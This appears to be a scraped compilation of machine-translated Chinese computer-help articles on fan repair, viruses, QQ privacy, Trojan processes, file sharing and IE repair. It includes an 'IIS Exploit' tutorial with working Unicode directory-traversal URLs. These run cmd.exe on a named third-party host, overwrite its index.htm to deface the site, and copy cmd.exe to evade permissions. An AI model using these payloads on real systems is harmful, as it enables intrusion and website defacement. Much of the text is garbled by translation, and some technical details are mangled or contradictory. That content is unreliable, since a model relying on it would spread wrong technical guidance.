CPU cooling fan stops the transfer result in computer crashes?
recent use of computer, the machine frequently see a blue warning window, and then it crashed.
failure analysis: As the warning says garbled, failure of the former has just installed a software downloading from the Internet, so the software with a virus suspected, immediately remove the software installed and use the KV3000, RISING antivirus software, such as check in 2001, killing operation, no virus is found. Shut down and restart, about 5 minutes later, the recurrence of this phenomenon, repeated many times still is. Digest, feel the fault is not caused by a virus, because it is time to reboot, just start working correctly, there is only a few minutes after the crash phenomenon, which seems certain hardware and machinery, especially CPU temperature, so I determine the hardware failure occurred.
Troubleshooting: shutdown, open the main chassis inspection, when the hands touch the CPU heat films was very hot, which is obviously not normal, suspected to be a problem with the fan or CPU chip. In the case of the chassis cover is open start the machine and found that CPU fan speed is very slow, and has lost the normal cooling.
off, remove the fan, fan blades lightly by hand, the sense of rotation of the fan blade is very flexible, so use a small screwdriver into the slot in the bottom of the fan blades and slow slowly pry upward force will be the fan blades and fan seat separation, and then turn the fan, to see the center of the fan blades have a small arc-shaped magnet with several circular enclosures surrounded shape firmware, obviously this is Fan motor rotor, while the stator is fixed with a tiny fan winding, hence the fan blades and fan together, Block, then the micro-coil can be inserted just inside the rotor.
further observed that the stator and the rotor shaft connecting the top and the bearing parts are sticking some dried black sludge, respectively, using gauze to wipe clean, and then enter a few points in there drops of oil, and then re-seat the fan blades and fan together, this time, gently with your fingers can easily toggle the fan blades rotate. Re-install the fan to the CPU heat sink, the power for 10 minutes, then touch the CPU heat sink, feeling the temperature only in the micro-thermal state shows that the cooling fan has been restored. After the chassis cover, reboot and reinstall the system, all the normal, long time continuous operation, the fault does not occur again.
Printer problems caused by computer viruses
“printer failure caused by computer virus” is based on book knowledge, online information, practical experience summed up the article, if you want to know more of these issues, please pay attention to troubleshooting more articles in Forum !
failure phenomenon: After the LAN computer can not print the document access.
Failure Analysis and Treatment: First of all suspected computer is infected with a virus, use antivirus software, check narcotics KV 2004, 2708 found a computer infected with the virus, the virus is transferred to the boot floppy disk 27H Road 8 sector in the cause of. When the virus attack, the host and the printer’s communications can not be normal, after using antivirus software antivirus, troubleshooting.
fault repair the sections that have more and the “printer failure caused by computer virus,” related articles, for the introduction of this article is relatively large. If you like computer knowledge, please keep in mind the only site domain name
QQ and QQ video chat peeping fraud
penguin becomes a big mouth: QQ casually listen to the message
QQ early use of plain language transmission and the current fragile local encryption means to make only a small Penguin in the local client is very insecure. now appears in “QQ login password change expert\”# 0000ff”> hacker tool, can be off-line log on to this machine QQ, to view their buddy list and chat records. The use of these tools, simply enter the designated universal password, you can detect with impunity to those who left records in the computer owner’s privacy QQ, which is likely to include the login password. Such as hacking tools like Trojans to be installed in advance, so the safety of QQ great harm.
only appeared in June this year, called for a “QQ free password landers” hacking tool, for example, it is very cleverly bypassed the QQ local password authentication system, you can log off all had to log off the machine QQ number, to view their chat, friends group information. This is the cafe , and the use of QQ users in public rooms is undoubtedly make their own privacy and secrets exposed.
I do not know Li Kui is the Li Gui: QQ video cheating
In fact, cheating is not a serious QQ video security problems, it is only used to joke with the User a small prank. Its principle is very simple to use video software to your video chat with a User record, and then with another when the Olympic games, this video recording will be released to his watch, people will think that this video is your video themselves.
One Camtasia Studio2 is such a software, I believe that many of my friends know it. It can easily help you to record video chat images, and these images can be easily “spoofed” in the future and your video chat with anyone.
our name, age, phone number, or even where you live, these are confidential private information. Unfortunately, many of my friends does not attach importance to these private information, that these information no one else can use. However, if we have set a password when using terms such as birthdays, phone number or the name of the habit, then the information will become our virtual wealth stolen from a breakthrough. Internet thieves can use this information for our network accounts guess solution, resulting in huge loss of virtual wealth.
high-risk groups: a simple user password settings
loss level: ★ ★ ★ ★ ★
infested regions: a variety of network accounts are all possibilities
features: collecting information, guess password solution
personal information is a virtual wealth of
now there are so a group of people with ulterior motives, through the survey form, to obtain personal details of a wide variety of users, the most important, including the user’s name, mobile phone , e-mail, instant messaging and other information.
These people are so eager to collect the user’s personal information? That is because they know that in the network into our lives today, a large amount of information there may be a virtual fortune. They received such personal information, will use the information to the user’s account password to guess a variety of network solutions in order to steal the user’s virtual wealth.
We know that a lot of people to make their own password information easy to remember, often using his own name spelling, phone numbers, birthdays, etc., as personal password to use it. Some people might say because I have neither the Q of QQ coins inside, and I never play any online games, so the network can not really say thieves steal!
In fact, the virtual wealth is not simply limited to online game accounts and personal information of any Internet-related content are belong to the scope of virtual wealth, even if just a very simple e-mail. Therefore, we must never underestimate these so-called virtual wealth, because the loss of an e-mail can make you lose a handsomely paid job.
Real Case reproduce
victims: Eliminate
amount of loss: Game coin + Q S ≈ 300 Chinese Yuan Renminbi
a faster students graduated from the University of summer rain, he in order to find a suitable positions, in a talent deal website had been registered and uploaded a lot of personal information.
One day shortly after, when the summer rain log QQ game, found themselves before the Result of Q coins and coin actually missing a game. He thought to himself must be in the Trojan, so immediately through the anti-virus software and manual methods of system testing, the result is nothing.
So in the end is the reason for that? Later, some experts have recognized for his analysis and found that he set QQ password is very simple, is his birthday. At the same time because he had to find a job reasons, the network announced a number of personal information, and QQ. Internet thieves likely the information through his solution out his QQ guess passwords, leading to his property losses.
case analysis
In this case, we can see that the use of personal information theft guess solution, and not directly caused by network user’s attention. We know that no matter what the status is to use the network to carry out fraud, there may cause the user’s vigilance. However, these user information guess solution is unlikely to cause the user of any alert, because the network does not thieves and the user direct contacts.
As many users prefer the spelling of names, date of birth or telephone number as your password, although easy to remember, but it thieves on the network, but also reduces the guess solution more difficult. Internet thieves use to obtain the information and then carry out a few simple tests, you can easily get the required network account, and then stole the victim’s virtual wealth for their own illegal profit.
three laws to prevent information is guess for Network Solutions
thieves use various information channels to collect personal information on individual users online game accounts, instant messaging software, accounts etc. guess solution behavior, We can use the following three rules to carry out the appropriate preventive action.
first rule: Do not all of the account a password
There are a lot of network services, many of my friends applied for these services, in order to facilitate memory, often used the “One-pass” approach, This network solution provides fraudsters guessing a lot of convenience. Once the network of thieves break a user account password, then most likely result in loss of all the user account. Therefore, we should try to ensure that an account a password.
second law: protecting the personal information
a lot of people do not easily own all of the information will be posted to the network. Determined to person as long as the use of search engines can easily obtain the data, resulting in greater losses. Therefore, in the network, we must pay special attention to their personal information, some websites need to submit personal information when the fictions may wish to adopt the way, so that even if stolen by others, and will not reveal their true information.
third rule: Password Settings and skillful
recently published a report on a site using “violence break the letter” approach to obtain the password “time list\quantity and cracking attack model to break. The list of data indicate that if the cyber-crooks to use a dual-core PC to crack the password, the simplest of the 6-digit password instantly can handle that. The use of “Digital + uppercase and lowercase letters + punctuation” in the form of words, ranging from multi-required 22 hours is required 23 years.
From this we can see that under certain circumstances is not 6 Do not use passwords. Easy to remember, as well as taking into account the length, “8-bit digital + uppercase and lowercase letters” The password setting is the safest and most convenient choice. At the same time passwords and personal information should be avoided a relationship, do not use, such as identity card number, date of birth, telephone number, etc. as a password.
Qq password to prevent the disclosure of personal information
IIS Exploit
IIS (Internet Information Server) service provides a powerful Web server, Internet and Intranet service functions. Mainly through the port 80 to complete the operation because, as a Web server, 80 ports always open, with a great threat. For a long time hacker attack IIS services are the usual means, I remember that period of time the two organizations exchange that hackers frequently used on the invasion of the IIS vulnerability. This situation still persists, mostly due to business managers, or network management on the result of insufficient attention to security issues.
Unicode vulnerability
for IIS can be said of the attack variety, the use of large amounts of data requests, so that IIS overloaded and stop working, is a compulsory subject in junior hackers. However, in view of space constraints, the attacks against the IIS This article does not detail, but rather talk about the invasion of IIS. IIS has more than 10 kinds of common vulnerabilities, but the most is none other than the use of Unicode parsing error vulnerability. Microsoft IIS 4.0/5.0 in the Unicode character encoding exists in the realization of a security vulnerability, the user can remotely execute arbitrary commands via IIS. When the IIS open the file, if the file name contains Unicode characters, it will have to decode it. If the user provides some special coding will result in an error to open IIS, or to carry out certain Web root directory other than the file or program. We focus this article on how to take advantage of this loophole Laijiang Jiang invasion of IIS.
for IIS 4.0/5.0 the Chinese version of IIS when the URL request received, the file name that contains a special code such as “% c1% hh” or “% c0% hh\be decoded into a “0xc10xhh\Windows system considers “0xc10xhh” may be Unicode encoding, so it will first be decoded, if the “0×00 <=% hh (0xc1-0xc0) * 0×40 +0 xhh
% c0% hh-> (0xc0-0xc0) * 0×40 +0 xhh
Therefore, the use of this code, we can construct a lot of character For example:
% c1% 1c-> (0xc1-0xc0) * 0×40 +0 x1c = 0x5c =’/’
% c0% 2f-> (0xc0-0xc0) * 0×40 +0 x2f = 0x2f = ‘\’
An attacker could exploit this vulnerability to bypass the IIS path of inspection, to carry out or open any files. This vulnerability from the Chinese version of IIS4.0 + SP6 start, but also affect the Chinese version of WIN2000 + IIS5.0, the Chinese version of WIN2000 + IIS5.0 + SP1.
In NT4 the “/” is encoded as “% c1% 9c”; in the English version of WIN2000 for “% c0% af”; in the Chinese version of WIN2000 where is the “% c1% 1c & rdquo ;. In addition, there are many other codes, not one by one, we can look up the information. This paper are WIN2000, for example, other types of your own replacement.
to determine whether there are loopholes
use this vulnerability scanner to scan is a common approach. But we know that scanning is not a true hacker attacks, it is only a way to find the entrance. IIS, there are many Unicode vulnerability scanner, such as RangeScan or unicodeScan can be scanned to gather server information. Others integrated scanning software can be found in addition to Unicode vulnerabilities, while the other collection of server vulnerabilities – X-Scan (Download: http://bitscn.com/upload/X-Scan-v3. 1-cn.rar).
course, you can enter in the IE browser to carry out to determine the following statement:
http://aa.feedom.net/scripts/ ..% c1% 1c../winnt/system32/cmd. exe? / c + dir
learned DOS’s should be able to understand, in fact, is the use of illegal request them so that we connected to the system32, if the Inetpub directory, and Winnt is not in the same drive letter, or the directory has been changed series , it may give rise to request failed.
If there are loopholes, then visit the area can see a similar message as follows:
Directory of C: \ inetpub \ scripts
2005-03-05 15:49 .
2005-09-05 15:49 ..
not have their own sense of the machine, and punctual! Want is that feeling!
cmd.exe equivalent DOS inside command.com, so that we can perform a lot of commands!
Note: The judgments entered in the above statement, “/ c” after the “+” is actually a space, please Jilao! dir is a DOS files and directories in the view command, do not know DOS friends go and learn.
read the above description, needless to say we all know that we can exploit this vulnerability attack launched on the server!
modify the Web site home page
1. Home
determine the name of the default home page file is a regular website index.htm, index.html, index.asp, default.htm, defautl.html or default.asp in one, we can enter a different home page name test and sure you want to modify the website home page. In the IE address bar, enter the following three web sites:
http://aa.feedom.net/index.html
http://aa.feedom.net/default.asp
http : / / aa.feedom.net / index.htm
through the above three Web sites tested, we found that only a third URL is normally open, indicating the site’s home page is named index.htm. Well, then we modify it bar!
2. Modify the principle of
the most convenient way is to echo method: echo is a system command, primarily used to set the response switch.
echo test> c: \ autoexec.bat is to test join the autoexec.bat and delete the original contents inside;
echo timedate>> c: \ autoexec.bat is the addition of timedate but do not remove the original content.
understand it? Then we can modify the Happy.
3. Change Web page
in IE, enter the following address:
http://aa.feedom.net/scripts/ ..% c1% 1c../winnt/system32/cmd.exe? / C + echo + HaHaThisismyhack +> c: \ inetpub \ wwwroot \ index.htm
IE browser to return to the result may be one of the following two situations:
1) HTTP 500 – Internal Server Error
2) The parameter is incorrect
return information through analysis of CMD prompt and may be a command statement, the parameter error, by adding “symbol and then try:
1) http://aa.feedom .net / scripts / ..% c1% 1c../winnt/system32/cmd “. exe? / c + echo + HaHaThisismyhack +> c: \ inetpub \ wwwroot \ index.htm
said to HaHaThisismyhack added to the index.htm file and delete the original content.
2) http://aa.feedom.net/scripts/ ..% c1% 1c../winnt/system32/cmd “. exe? / c + echo + by2005-3-9 +>> c: \ inetpub \ wwwroot \ index.htm
said the by2005-3-9 added to the index.htm file, but does not delete the original content.
If the normal response to the above two statements should all wrong for the CGI, which means that successful execution, the system is programmed to report an error, do not ignore it.
open the site aa.feedom.net Now let’s see it again, how, is not by your Gaidiao it? In practice, because of directory permissions to the existence of factors such as network management, this approach may also fail this time, we can use copy cmd.exe to another. Exe files to resolve, but to remember the path, do not wrong, for example:
http://aa.feedom.net/scripts/ ..% c1% 1c../winnt/system32/cmd.exe? / c + copy + cmd.exe + c: \ a.exe
http://aa.feedom.net/
How to judge from the system process, Trojan
any viruses and Trojan horses exist in the system, and processes can not completely break off relations, even with hidden technology, but also was able to find clues from the process, therefore, view the process of the activities of the system to be our most direct detection of virus, Trojan horse method. However, the system processes to run so much, what is the normal system process, which is the Trojan process, and often the fake Trojan virus system process in the system, what role do they play? See this article.
the virus hides the process of three methods
When we have confirmed the virus present in the system, but through “Task Manager” View system processes Shi You could not find any strange process, This shows that the virus uses a number of hidden measures, summed up with three methods:
1. confused as real ones
system, the normal process is: svchost.exe, explorer.exe, iexplore.exe, winlogon.exe and so on, maybe you found the existence of such a process system: svch0st.exe, explore.exe, iexplorer.exe, winlogin.exe. Compare found differences begin? This is a trick often used by the virus, the purpose is to confuse the user’s eyes. Usually they will be the normal process of the system o change the name of 0, l replaced by i, i replaced by j, and then became its own process name, just one word, the meaning is completely different. Or more or less a one letter alphabet, such as explorer.exe and iexplore.exe already easy to confuse, again a iexplorer.exe even more confused. If the user is not careful, generally ignored, and the virus process is dodged a bullet.
2. perpetrating a fraud
more cautious if the user, then the above, this mode of no use, and the virus will be Jiudezhengfa. Ever since, the virus has to wise up, and learned that replacing this trick. If a process named svchost.exe, and normal system process name Folks. Well, this process is not on the safe out? Definitely not, in fact it is only the use of the “Task Manager” can not view the process of the executable file corresponding to this defect. We know that svchost.exe process, the corresponding executable file is located in “C: WINDOWSsystem32″ directory (Windows2000 is C: WINNTsystem32 directory), if the virus copies itself to “C: WINDOWS” in and renamed the svchost.exe , running, we in the “Task Manager” is also seen in svchost.exe, and normal system process is no different. Can you identify which of the virus’s process?
3. reincarnated
In addition to the two above methods, the virus, there is still one ultimate Dafa – reincarnated. The so-called zombie virus is inserted using a process technology, the required dll files to run the virus into the normal system process, on the surface without any suspicious circumstances, in essence, the virus has been controlled system process, and unless we help the process of professional detection tool, or want to find the virus hidden in them is very difficult.
system processes FAQ
mentioned above, a lot of system processes, in the end, what is the process of these systems, their operation principle, then what is? Here we will explain each of these systems process, I believe that in the familiar process of these systems, the virus will be able to successfully break the “highly advanced” and “perpetrating a fraud” of the.
svchost.exe
often posing as the process name of the virus are: svch0st.exe, schvost.exe, scvhost.exe. With the growing number of Windows system services, in order to save system resources, Microsoft has made many services share the way, by the svchost.exe process to start. The system service is a dynamic-link library (DLL) form of realization, they point to the executable program scvhost, call the appropriate service from the cvhost dynamic-link library to start the service. We can open the “Control Panel” → “Administrative Tools” → service, double-click them “ClipBook” service in its property panel can be found in the corresponding executable file path “C: WINDOWSsystem32clipsrv.exe & rdquo ;. And then double-click the “Alerter” service, you can find the executable file path “C: WINDOWSsystem32svchost.exe-k LocalService\;. It is through this call, you can save a lot of system resources, so the system appears in multiple svchost.exe, is only the system services only.
normally exist in the Windows2000 system, svchost.exe process, one RPCSS (RemoteProcedureCall) service process, while the other is shared by many services, one svchost.exe; while in WindowsXP, then generally have four more than service process svchost.exe. If the system xp and before the number of svchost.exe processes more than five, we must be careful, there may be a fake virus. But by the Vista and Windows7 age ,8-12 svchost process is normal! Whether the normal process of the system detection method is also very simple, using some process management tools, such as Vista optimized master’s process management capabilities to view the svchost.exe executable file path, if the “C: WINDOWSsystem32″ directory, the then can be determined is the virus.
virus security view includes more and “How to judge from the system process, Trojan virus” related articles, for this introductory article is still relatively large number of, if you think this article is wrong place, or you have a unique perspective, you are welcome to express their views to the computer knowledge and recommendations of the Forum. If you like to learn computer knowledge, please keep in mind the only site domain name
How to LAN users and set access permissions assigned to share your password?
In Windows NT/2000/XP/2003 System , because of their support for the NTFS file system, so when using the NTFS partition format, set the project to be much more common, practical use is extremely flexible. Setting method is to use right-click the file you want to set shared folders, Select ” share “(or” sharing and security “) above, in the file Properties dialog box, select” Sharing “tab. Select the “share this folder\
Attention to
When some customers are set to have the same access, you can add these users to a specific user group, set up when you can just share of the group settings can be, without the need to set one by one. Windows XP systems by default, can not find the relevant setting options, which is due to its default of “Simple File Sharing” feature, you must cancel the feature to be seen and shared set of specific options. in resource management device “tool “menu in the implementation of the” Folder Options “command, in the” View “tab, locate the” Use simple file sharing “option to remove it has been selected, determined, that is, displays all of the shared settings project.
Quietly told Vista: Please do a “blue” and had
While Microsoft has spared no effort in system stability, but in practice, due to a software and software, software and hardware, and software and systems there are some known compatibility of the subject, the blue screen of the system can not completely eliminate (for example, QQ hit Vista on the blue screen of “well-known incident”).
Vista blue screen
default settings in the Vista system is the blue screen after the system restarts automatically. While such a setting allows users to quickly enter the normal working state, but does not help the user find out the reasons for blue screen. If the blue screen allows the system is not automatically restart, giving the user sufficient time to review the relevant information, which allows users to learn the reasons for blue screen, a sizeable fast in a short time to make determination and solution.
to run the registry, followed by targeting to the following branch: HKEY_LOCAL_MACHINE \ SYSTEM \
CurrentControlSet \ Control \ CrashControl, double-click the right window of the “AutoReboot\
Figure modified AutoReboot value
After
changes, click “OK” button and exit the Registry Editor. Thereafter, when a blue screen when the system again, Vista will not restart right away, allowing users to have sufficient time to review and record the blue screen information, for the subject can be a timely manner to gain time.
>> Click to grasp more Vista tips <<
How to set default browser Maxthon
☆ industrious fish ☆: My Vista default browser is IE, I want to change into Maxthon, so use Maxthon Maxthon’s Settings Center to set up, tried many times will not work, please Dong master pointing. Recommended article
Dong master: set Maxthon as the Vista default page ” / span> browser ago, you must first click “Start → Run\tag.php? name =% E7% B3% BB% E7% BB% 9F “> System Settings” dialog box, click the “ tool “tab, select the” Disable UAC \button to restart Computer ” / span> closed UAC. Administrator account and then sign-on (can not use the Administrator privileges to other accounts logged in), open Maxthon, Maxthon is set in the center is set Maxthon as your default browser.
Why I always can not be opened
an infection caused by a virus
This is often manifested in the open IE, the IE interface, in the lower left box tips: Opening web pages, but the Lao Bantian did not respond. Device inside view in the task of governance processes (access to ways to bring the mouse over the taskbar, right-click – the task of governance device – process) to see how the CPU occupancy rate, if 100%, can be sure it is infected with the virus, then you want to run other programs is simply suffer. This is what we should look up the process of greedily taking up CPU resources.
Once you’ve found the best record in our name, then click the end, if not end, will have to boot into safe mode to this delete it, but also access to the registry, the (Method: Start – Run, type regedit) in the registration Table dialog box, the point of editing – to find, enter the name of that program to find, the point of the right mouse button to delete, and then the search several times, often able to completely remove the cleaner.
There are many viruses, antivirus software, do nothing, the only way is to manually remove.
2, and set up a proxy server on
Some cheese, for some considerations, in the browser to set a proxy server (Control Panel – Internet Options – Connections – LAN Settings – Use a proxy server for the LAN ), set the proxy server is connected does not affect the QQ, due to QQ using a 4000 port, but access to the Internet using port 80 or 8080. This is a lot of cheese they can not understand why the QQ, while web pages can not be opened reasons. The proxy server is generally not very stable, and sometimes can be on, and sometimes can not go. Should there be such settings, please send agents cancel on it.
3, DNS server interprets the error
The so-called DNS, or domain name server (Domain Name Server), it is the domain name into computational able to identify the IP address, such as Shenzhen Window corresponding IP address is 219.133. 46.54, Shenzhen Hotline corresponding IP address is 202.96.154.6. If the DNS server error, then the domain name can not be explained naturally can not get online.
If this is the case, and sometimes access to the network service provider that is the subject of ISP can be called the Advisory ISP; sometimes the subject of a router or network card can not be with the ISP’s DNS service connection.
this situation, it can put off a router will be on again, or re-set the router. Or the card can not automatically search for the DNS server addresses, you can try to use the specified DNS server address. The properties of the network, conducted, (Control Panel – Network and dial-up connections – Local Area Connection – Right Properties -TCP/IP Agreement – Properties – Use the following DNS server address). A different ISP have different DNS addresses, such as telecommunications common is 202.96.134.133 (main use) 202.96.128.68 (standby).
Updated NIC driver or replace the card would be a train of thought.
4, the system file is missing cause IE does not start properly
This phenomenon is quite common, due to:
1, the system instability manifested as frequent crashes, often inexplicable restart, illegal shutdown caused by system files is missing;
2, the hardware and software conflicts
usually manifested in certain programs installed NIC driver causing conflict or the conflict with the IE. Since the introduction of Hyper-Threading CPU after INTEL, there is a prominent topic of IE6 under XP SP1 and Hyper-Threading conflict;
3, the virus intrusion led to system files corrupted or missing.
If it is the first case, you can try repair the system, 2K, or XP system, put the original installation CD-ROM (note: must be the original installation CD-ROM), at the beginning – to run where input sfc / scanow, press Enter. 98, the system can also use the sfc command to be checked.
If it is the second case, you can put the most recently installed hardware or programs to uninstall, 2K, or XP system can boot the machine, after a long press F8, enter the boot menu, select ” the last time the correct settings \
If it is XP, the system due to the reasons for hyper-threading CPU, you can disable in the BIOS, Hyper-Threading, or upgrade to SP2. (Of course, XP how to upgrade a lot of knowledge related to SP2, and pay attention to the subject, in this limited space is no longer below). This case, QQ-ri TT comes with the browser is generally a normal browsing, can switch to a try.
If it is the third case, the system tray will have to conduct a comprehensive killing viruses.
There is also a phenomenon in need of special attention: that is to open the site’s home page, but you can not open the two links, if so, the processing method is to re-register the following DLL files: <br / ”
at the beginning – to run inside type:
regsvr32 Shdocvw.dll
regsvr32 Shell32.dll (pay attention to this order, first, do not lose)
regsvr32 Oleaut32.dll
regsvr32 Actxprxy.dll
regsvr32 Mshtml.dll
regsvr32 Urlmon.dll
regsvr32 Msjava.dll
regsvr32 Browseui.dll
note: Every type 1, press Enter. The second command can first do not lose, after the end of these commands to restart windows, if it is found invalid, and then re-enter again, this time enter the second command. 5, IE damage
If the above method does not work, it may be IE core damage, despite the system repaired, they can not make up, then reinstall IE is the best alternative.
If it is 98 or 2K system, IE version 5.0 if it is recommended to upgrade to 6.0.
98 If the system has been upgraded to install 6.0, then the control panel Click Add / Remove programs, it will pop up a repair dialog box, select the default repair, re-start can be.
If it is 2K + IE6.0 or XP (comes with IE is 6.0) systems, re-IE a little trouble, there are two ways:
1, open the registry, expand HKEY_LOCAL_MACHINESOFTWAREMicrosoftActive
SetupInstalled Components (89820200-ECBD-11cf-8B85-00AA005B4383), will be the DWORD value IsInstalled replaced by 0 can be;
2, into the XP installation CD-ROM, at the beginning – to run inside type “rundll32.exe setupapi, InstallHinfSection DefaultInstall 132% windir% Infie.inf”
Note: reinstall IE does not necessarily solve the subject, only one dealing with the subject line of thought only.
